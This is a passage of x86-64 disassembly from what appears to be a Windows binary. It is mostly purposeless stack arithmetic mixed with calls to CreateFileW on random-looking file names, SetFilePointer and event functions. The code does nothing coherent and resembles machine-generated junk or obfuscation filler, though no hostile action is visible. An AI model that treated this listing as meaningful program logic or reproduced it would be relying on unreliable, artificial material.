call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x13d8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.8j2zSzUw0MXgmO3AJHWVBFO
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5828], rax
mov rcx, qword [rsp + 0x1ed8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x3434], eax
mov rax, qword [rsp + 0x2a80]
mov rcx, qword [rsp + 0x3208]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [0x1400fd490]
mov qword [rcx], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x997e
mov rcx, qword [rsp + 0x1868]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2760], eax
mov rax, qword [rsp + 0xa30]
mov rax, qword [rax]
mov rcx, qword [0x1400fd460]
mov qword [rsp + 0x4fb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4fb0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xb48]
mov qword [rcx], rax
lea rax, [rsp + 0x25e8]
mov qword [rsp + 0x5130], rax
mov rax, qword [rsp + 0x4fb8]
mov rcx, qword [rsp + 0x3ce8]
mov qword [rsp + 0x4fc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4fc0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xc90], rax
movzx eax, word [0x1400fd6c8]
movzx ecx, word [rsp + 0x15cc]
add eax, ecx
mov word [rsp + 0x2c4], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5830], rax
lea rax, [rsp + 0x108]
mov qword [rsp + 0x4190], rax
mov eax, dword [rsp + 0x13a4]
mov ecx, dword [rsp + 0x8e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x13a8], eax
lea rax, [0x1400fd550]
mov qword [rsp + 0x5838], rax
movsx eax, byte [rsp + 0x61]
mov rcx, qword [rsp + 0x40b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x530]
mov byte [rcx], al
mov rax, qword [rsp + 0x1c00]
mov rcx, qword [rsp + 0x3198]
mov rax, qword [rax]
and rax, rcx
mov qword [0x1400fc3d8], rax
mov rax, qword [rsp + 0x31b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x38c]
sar eax, cl
mov rcx, qword [rsp + 0x3d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3d0]
movzx eax, word [rax]
mov word [rsp + 0x1dd4], ax
movzx eax, word [rsp + 0xc08]
movzx ecx, word [rsp + 0x4f4]
and eax, ecx
mov rcx, qword [rsp + 0x40e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2e50]
mov rcx, qword [rsp + 0x25a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x3c48], rax
mov rax, qword [rsp + 0x30e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3920]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x32e0], rax
mov rax, qword [rsp + 0x1860]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x11b4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4fc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x40c0]
movzx eax, byte [rax]
mov byte [rsp + 0x937], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x4547
mov rcx, qword [rsp + 0x758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13bc], eax
mov rcx, qword [rsp + 0x3a38]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xbb0], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.LOFVzl5xbNB_azONPvu0BEgi9yD8qtJ1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5840], rax
movsx eax, word [rsp + 0x248]
mov rcx, qword [rsp + 0x3910]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x15d0], ax
movzx eax, word [0x1400fd150]
mov word [0x1400fd958], ax
mov rcx, qword [rsp + 0x39f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x1bf8]
mov qword [rsp + 0x5058], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x1c35
mov rcx, qword [rsp + 0x4fd0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x26d0], eax
movzx eax, word [rsp + 0x5cc]
movzx ecx, word [rsp + 0x6d8]
or eax, ecx
mov word [rsp + 0x4d8], ax
movzx eax, byte [rsp + 0x16d]
mov rcx, qword [rsp + 0x830]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x1828]
mov byte [rcx], al
mov rax, qword [rsp + 0x24c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x2c48]
mov qword [rsp + 0x4fd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4fd8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x275c], eax
mov rax, qword [rsp + 0x12e0]
mov rax, qword [rax]
add rax, qword [0x1400fd148]
mov qword [rsp + 0x7c0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5848], rax
mov rax, qword [rsp + 0xa90]
mov eax, dword [rax]
mov dword [rsp + 0x3408], eax
movsx eax, byte [rsp + 0x408]
movsx ecx, byte [rsp + 0x409]
sub eax, ecx
mov byte [rsp + 0x54f], al
lea rax, [rsp + 0x390]
mov qword [rsp + 0x5260], rax
movzx eax, word [rsp + 0x880]
mov rcx, qword [rsp + 0x1f00]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1400fd198]
mov word [rcx], ax
mov rax, qword [rsp + 0x40c8]
mov rcx, qword [rsp + 0x3ba0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x12f0], rax
mov rax, qword [rsp + 0x120]
mov rcx, qword [rsp + 0x2e30]
mov qword [rsp + 0x4fe0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4fe0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x2d70], rax
mov rax, qword [rsp + 0xff8]
movzx eax, word [rax]
mov word [rsp + 0xefc], ax
mov rax, qword [rsp + 0x1228]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x884]
add eax, ecx
mov rcx, qword [rsp + 0x3200]
mov word [rcx], ax
lea rax, [rsp + 0x2a28]
mov qword [rsp + 0x5068], rax
movsx eax, byte [rsp + 0x937]
mov rcx, qword [rsp + 0x2b28]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe9], al
mov rax, qword [rsp + 0x2a88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x13dc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x41f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xff0]
mov rax, qword [rax]
mov rcx, qword [0x1400fd2e8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4fe8], rax
movsx eax, word [rsp + 0x350]
mov rcx, qword [rsp + 0x528]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1400fc5c0], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xe624
mov rcx, qword [rsp + 0x4ff0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2700], eax
mov rax, qword [rsp + 0x3990]
movzx eax, word [rax]
mov rcx, qword [0x1400fd890]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x648]
mov word [rcx], ax
mov rcx, qword [rsp + 0x3a38]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, byte [rsp + 0x1c4]
mov byte [rsp + 0xe57], al
mov rax, qword [rsp + 0xa38]
imul eax, dword [rax], 0x77a5f3ee
mov rcx, qword [rsp + 0x40d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2580]
movzx ecx, al
mov rax, qword [rsp + 0x30e8]
sar rax, cl
mov rcx, qword [rsp + 0x2590]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x8ca9
mov rcx, qword [rsp + 0x2a30]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4284], eax
mov rax, qword [rsp + 0x17e0]
mov rcx, qword [rsp + 0x2b20]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3430], eax
mov rax, qword [rsp + 0x39a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x30f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2d68], rax
movzx eax, byte [rsp + 0x170]
mov byte [rsp + 0x933], al
mov rax, qword [rsp + 0x31c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4ff8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x554], ax
mov rcx, qword [rsp + 0x2c88]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xcc41
mov rcx, qword [rsp + 0x1ee0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa00], eax
movzx eax, word [rsp + 0x5d0]
mov rcx, qword [rsp + 0x40d8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1400fd5d8]
mov word [rcx], ax
mov rcx, qword [rsp + 0x1bf0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov dword [rsp + 0x9ec], 0x416eceba
mov rax, qword [rsp + 0x1b30]
mov rcx, qword [rsp + 0x1180]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x40f8], rax
mov rax, qword [rsp + 0xb30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x268]
and eax, ecx
mov word [rsp + 0x178], ax
movsx eax, word [0x1400fc504]
mov rcx, qword [rsp + 0x1db8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xbec], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.7lvv0qXW9_f1EQxm93WQ_bJCqG
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5850], rax
mov rax, qword [rsp + 0x3918]
mov rax, qword [rax]
mov qword [rsp + 0x5350], rax
mov rax, qword [rsp + 0x2a38]
mov rax, qword [rax]
add rax, qword [rsp + 0x2b40]
mov qword [rsp + 0x24d0], rax
movzx eax, byte [rsp + 0x1c8]
mov byte [rsp + 0x92d], al
mov rcx, qword [rsp + 0x2ab8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 1
xor r8d, r8d
mov edx, 0xc1e4
mov rcx, qword [rsp + 0x30f8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a78], eax
mov rax, qword [rsp + 0x3100]
mov ecx, dword [rsp + 0x26d4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x660], eax
mov rcx, qword [rsp + 0x3158]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4280], eax
mov rax, qword [rsp + 0x40e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x40e8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + reloc.SHELL32.dll_SHChangeNotification_Lock], ax
mov rax, qword [0x1400fd740]
mov rax, qword [rax]
mov qword [0x1400fd960], rax
movzx eax, byte [rsp + 0x584]
mov rcx, qword [rsp + 0x3108]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x60b], al
mov rax, qword [rsp + 0x2a40]
mov rcx, qword [rsp + 0x39a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xe0c], eax
movzx eax, word [rsp + 0xefc]
mov word [rsp + 0x3598], ax
mov rax, qword [rsp + 0x3998]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3110]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x6b8], ax
mov eax, dword [rsp + 0x276c]
movzx ecx, al
mov eax, dword [rsp + 0x2190]
shr eax, cl
mov dword [rsp + 0x2154], eax
mov rax, qword [rsp + 0x31f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3968]
add rax, qword [rcx]
mov qword [rsp + 0x41b0], rax
movsx eax, byte [rsp + 0x921]
mov rcx, qword [rsp + 0x5000]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x40f0]
mov byte [rcx], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x52de
mov rcx, qword [rsp + 0x4230]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x26d8], eax
mov rax, qword [rsp + 0x1230]
movzx eax, word [rax]
mov word [rsp + 0x1e08], ax
mov rcx, qword [rsp + 0x1b38]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x427c], eax
mov rax, qword [rsp + 0x1ee8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19d0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1400fd5e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3118]
mov rcx, qword [rsp + 0x40f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1f80], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x4246
mov rcx, qword [rsp + 0x1778]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1aa4], eax
mov rcx, qword [rsp + 0x1b48]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x67c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.tuWSwOn8P2cr5DLF76trgXsHQ0o
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x51f0], rax
mov rcx, qword [rsp + 0x1480]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x26dc], eax
mov rax, qword [rsp + 0x4100]
mov rax, qword [rax]
mov rcx, qword [0x1400fd788]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1238]
mov qword [rcx], rax
mov rax, qword [rsp + 0x12b0]
mov rax, qword [rax]
mov qword [rsp + 0x5858], rax
mov rax, qword [rsp + 0x1488]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x444]
sar eax, cl
mov word [rsp + 0x1d8], ax
movsx eax, byte [0x1400fc39a]
mov rcx, qword [rsp + 0x3138]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xe3c], al
mov rax, qword [rsp + 0x3120]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3920]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3310]
mov eax, dword [rax]
mov dword [rsp + 0x2728], eax
mov rax, qword [rsp + 0x5008]
movzx eax, byte [rax]
movzx ecx, byte [rsp + reloc.SHELL32.dll_SHGetImageList]
shl eax, cl
mov byte [rsp + 0xe57], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x315a
mov rcx, qword [rsp + 0x3928]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2158], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x50b8], rax
mov rax, qword [rsp + 0xdc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x26ec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x215c], eax
lea rax, [rsp + 0x15d4]
mov qword [0x1400fd968], rax
movzx eax, word [rsp + 0xedc]
mov rcx, qword [rsp + 0x5010]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x20a0], ax
mov rax, qword [rsp + 0x1f28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x5d4]
and eax, ecx
mov word [rsp + 0x13c], ax
lea rax, [0x1400fd188]
mov qword [rsp + 0x4120], rax
movsx eax, byte [rsp + 0x2d0]
movsx ecx, byte [rsp + 0xcc]
sar eax, cl
mov byte [rsp + 0x3f1], al
mov rax, qword [rsp + 0x19b8]
mov rcx, qword [rsp + 0x3128]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2af0]
mov qword [rcx], rax
lea rax, [0x1400fc4e8]
mov qword [rsp + 0x5860], rax
mov rax, qword [rsp + 0x1240]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2cd0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2bc], ax
mov rax, qword [rsp + 0x1770]
movzx eax, word [rax]
mov word [rsp + 0x1de4], ax
lea rax, [rsp + 0x4108]
mov qword [0x1400fd970], rax
movzx eax, word [rsp + 0x6dc]
movzx ecx, word [rsp + 0x20a4]
and eax, ecx
mov word [rsp + 0x114], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa93b
mov rcx, qword [rsp + 0x4110]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcb8], eax
mov rcx, qword [rsp + 0x2a48]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x342c], eax
mov rax, qword [rsp + 0x2a98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3ae0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3c88], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.v1H8Ju
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5868], rax
mov rax, qword [0x1400fd8a8]
mov rax, qword [rax]
mov qword [rsp + 0x5870], rax
mov rax, qword [rsp + 0x17a8]
mov rcx, qword [rsp + 0x3930]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x1ef0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3c0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1be8]
shr rax, cl
mov qword [rsp + 0x5018], rax
mov rax, qword [rsp + 0x3cd8]
movzx eax, byte [rax]
imul eax, eax, 0x89
mov byte [rsp + 0x934], al
lea rax, [rsp + 0x26e0]
mov qword [rsp + 0x5878], rax
mov rax, qword [rsp + 0x22d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x922]
xor eax, ecx
mov rcx, qword [rsp + 0x3138]
mov byte [rcx], al
mov rcx, qword [rsp + 0x39d0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1ef8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2bc]
shl eax, cl
mov word [0x1400fd378], ax
mov rax, qword [rsp + 0x5020]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x110]
or eax, ecx
mov rcx, qword [rsp + 0x41d8]
mov word [rcx], ax
movzx eax, word [0x1400fd884]
mov word [rsp + 0x3594], ax
movzx eax, word [rsp + 0x15d8]
mov rcx, qword [rsp + 0x5028]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x564], ax
mov rax, qword [rsp + 0x3130]
mov rcx, qword [rsp + 0x17d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5030], rax
mov rax, qword [0x1400fd6d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x2548]
add eax, dword [rcx]
mov dword [rsp + 0x10f4], eax
mov rax, qword [rsp + 0x3138]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
sar eax, cl
mov byte [rsp + 0xe35], al
lea rax, [rsp + 0x6d0]
mov qword [rsp + 0x5880], rax
movzx eax, word [0x1400fc498]
mov rcx, qword [rsp + 0x1f00]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1eac], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x507a
mov rcx, qword [rsp + 0x2a50]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x638], eax
lea rax, [rsp + 0x3c08]
mov qword [0x1400fd978], rax
mov rax, qword [rsp + 0x3938]
mov qword [rsp + 0x5210], rax
mov rax, qword [rsp + 0x7c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3140]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x31f8], rax
mov rax, qword [rsp + 0x1858]
mov rcx, qword [rsp + 0x5038]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x1f08], rax
movzx eax, word [rsp + 0x15f0]
mov rcx, qword [rsp + 0xdd0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1644], ax
mov rcx, qword [rsp + 0x3ae8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, byte [rsp + 0x91]
movzx ecx, byte [rsp + 0x2cf]
and eax, ecx
mov byte [rsp + 0x2d6], al
lea rax, [rsp + 0x26e4]
mov qword [rsp + 0x5888], rax
mov rax, qword [rsp + 0x24d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3980]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x2530]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1b8]
mov rcx, qword [rsp + 0x3af0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x82], al
mov rax, qword [rsp + 0xf60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x11b4]
shl eax, cl
mov dword [0x1400fd214], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.TNPnkVWRaF56l
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5890], rax
mov rcx, qword [rsp + 0x3af8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [0x1400fd268]
movzx eax, word [rax]
mov word [rsp + 0x1df4], ax
mov rax, qword [rsp + 0xfe8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1490]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x21c], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x470b
mov rcx, qword [rsp + 0x3b00]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3428], eax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
mov word [rsp + 0x3590], ax
mov rax, qword [rsp + 0xf68]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x978]
sar rax, cl
mov qword [rsp + 0x3148], rax
movsx eax, byte [rsp + 0xf7]
mov rcx, qword [rsp + 0x3bd8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe34], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x53f0], rax
mov rax, qword [rsp + 0x1f10]
mov rax, qword [rax]
add rax, qword [rsp + 0x19f0]
mov qword [rsp + 0x3940], rax
mov rax, qword [0x1400fd6d8]
mov ecx, dword [rsp + 0x13ac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3424], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xd862
mov rcx, qword [rsp + 0x3b08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x26e8], eax
mov rcx, qword [rsp + 0x1248]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x11b8], eax
mov rax, qword [rsp + 0x2d90]
movzx eax, word [rax]
mov word [rsp + 0x1ea8], ax
movzx eax, word [rsp + 0x5fc]
movzx ecx, word [rsp + 0x888]
sar eax, cl
mov word [0x1400fd290], ax
mov rax, qword [rsp + 0x1250]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1540]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcb0]
mov qword [rcx], rax
lea rax, [rsp + 0x394]
mov qword [rsp + 0x5898], rax
mov eax, dword [rsp + 0x26ec]
mov ecx, dword [rsp + 0x26f0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x970]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.4MFe_scJW1_fQfoUFnSj_r2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x58a0], rax
movzx eax, byte [rsp + 0xded]
movzx ecx, byte [rsp + 0x923]
add eax, ecx
mov rcx, qword [rsp + 0x3b10]
mov byte [rcx], al
mov rax, qword [rsp + 0x4210]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf6]
and eax, ecx
mov byte [rsp + 0xdec], al
mov rax, qword [rsp + 0x1498]
mov eax, dword [rax]
mov ecx, dword [0x1400fd214]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x348], eax
mov rax, qword [rsp + 0x3a68]
mov qword [rsp + 0x58a8], rax
mov rcx, qword [rsp + 0x3150]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0xeb8]
movsx ecx, word [rsp + 0xebc]
or eax, ecx
mov word [rsp + 0x1ea8], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x14b6
mov rcx, qword [rsp + 0x3c38]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbd4], eax
movzx eax, word [0x1400fd67c]
mov word [0x1400fd980], ax
mov rax, qword [rsp + 0x22e8]
movzx ecx, al
mov rax, qword [rsp + 0x14a0]
shl rax, cl
mov qword [rsp + 0x3948], rax
mov rax, qword [rsp + 0x12f8]
mov qword [rsp + 0x58b0], rax
movsx eax, word [rsp + 0x398]
mov rcx, qword [rsp + 0x3170]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc28], ax
mov rax, qword [rsp + 0x24e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2638]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ea4], ax
mov rax, qword [rsp + 0x1340]
movsx eax, byte [rax]
mov rcx, qword [0x1400fd8f0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1be0]
mov byte [rcx], al
mov rax, qword [rsp + 0x2c80]
mov rcx, qword [rsp + 0x3950]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x11bc], eax
mov rax, qword [rsp + 0x3b18]
mov rax, qword [rax]
mov qword [rsp + 0x5170], rax
mov rax, qword [rsp + 0x2a58]
mov rcx, qword [0x1400fd7f8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x2a60]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x3b20]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x3ac0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3ab0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1400fd350]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.5J3lgCf5lrA6i7o95j6eGhLzCR4qgO4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x58b8], rax
movzx eax, word [rsp + 0x24c]
mov rcx, qword [rsp + 0x3318]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ea0], ax
mov rax, qword [rsp + 0xd98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x24f8]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x2cf], al
mov rcx, qword [rsp + 0x3158]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0xb94]
mov qword [rsp + 0x5128], rax
mov rax, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x14a8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3160]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x26f4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a68], eax
lea rax, [rsp + 0x3218]
mov qword [rsp + 0x58c0], rax
mov rax, qword [rsp + 0x1f18]
movsx eax, byte [rax]
movsx ecx, byte [0x1400fc382]
xor eax, ecx
mov byte [rsp + 0x23a], al
mov rax, qword [rsp + 0x1db8]
movzx eax, word [rax]
mov word [rsp + 0x1dfc], ax
mov rax, qword [rsp + 0x2bc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x39c]
or eax, ecx
mov word [0x1400fc5c4], ax
mov rax, qword [rsp + 0x2df0]
mov rax, qword [rax]
movzx ecx, al
